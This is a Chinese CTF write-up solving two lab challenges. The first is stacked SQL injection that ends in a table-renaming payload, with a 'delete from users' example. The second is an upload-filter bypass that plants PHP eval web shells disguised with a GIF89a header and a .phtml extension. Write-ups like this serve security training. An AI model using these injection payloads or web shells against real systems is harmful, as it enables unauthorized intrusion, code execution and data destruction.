[强网杯 2019]随便注 1
先打这个
1' and 1=1#和
1' and 1=2#
返回结果不同,说明有sql注入
再打1' or 1=1#
虽然不知道这些信息有啥用
再看看有几列
当输入1' order by 3#
时返回了报错信息,说明只有2列
接下来试试堆叠注入
堆叠注入原理
在sql中,分号表示一条语句的结束。如果在分号的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句。
mysql> select * from users where id =1;delete from users; //分号以前的句子功能是查询,后面的句子是删除用户
我们试试1'; show databases#
返回了很多库
看着ctftraining感觉很可疑,我们来看看
1';show tables from ctftraining#
进去后有两个表名,我以为有东西,但输入
1';show columns from `FLAG_TABLE`#
没返回
那输入1'; show tables#
看表名
一个一个库看看
1'; show columns from words#
1'; show columns from `1919810931114514`# 这里必须加这个`,在键盘左上角
words表中的
另一个表中的
可以看到words表里有两个属性,即两列:id 和data
而1919810931114514表里只有一个属性列
说明输入框可能查询的就是words表
后台sql语句可能为
select id,data from words where id=
接下来就是如何获取flag了
思路是把1919810931114514表改名为words表,把属性名flag改为id,然后用1’ or 1=1;# 显示flag出来
在这之前当然要先把words表改名为其他
payload(注意这是一个很长的堆叠注入):
1';rename table `words` to words2; ;rename table `1919810931114514` to `words`;;alter table words change flag id varchar(100);;show tables; ;show columns from words;#
[极客大挑战 2019]Upload 1
首先试了试,这个只能上传图片
我们上传个一句话木马,把Content-Type改成image/jpeg
发现php,php3,php4,php5都会被拦截
但是.phtml格式的文件可以
<script language="php">eval($_POST['shell']);</script>
于是构造这个上去,发现文件头也需要改
构造payloadGIF89a? <script language="php">eval($_POST['shell']);</script>
上传改文件类型为image/jpeg
上传成功
用蚁剑连,慢慢找就行,最后发现在根目录下
这里有<?过滤,所以以下两个木马不能用
<?php eval($_POST['b'])?>
<?php $_GET['a']($_POST['b'])?>
这里有四个知识点
1.Content—type的绕过
2.文件后缀名,.phtml
3.文件头
4.<?的过滤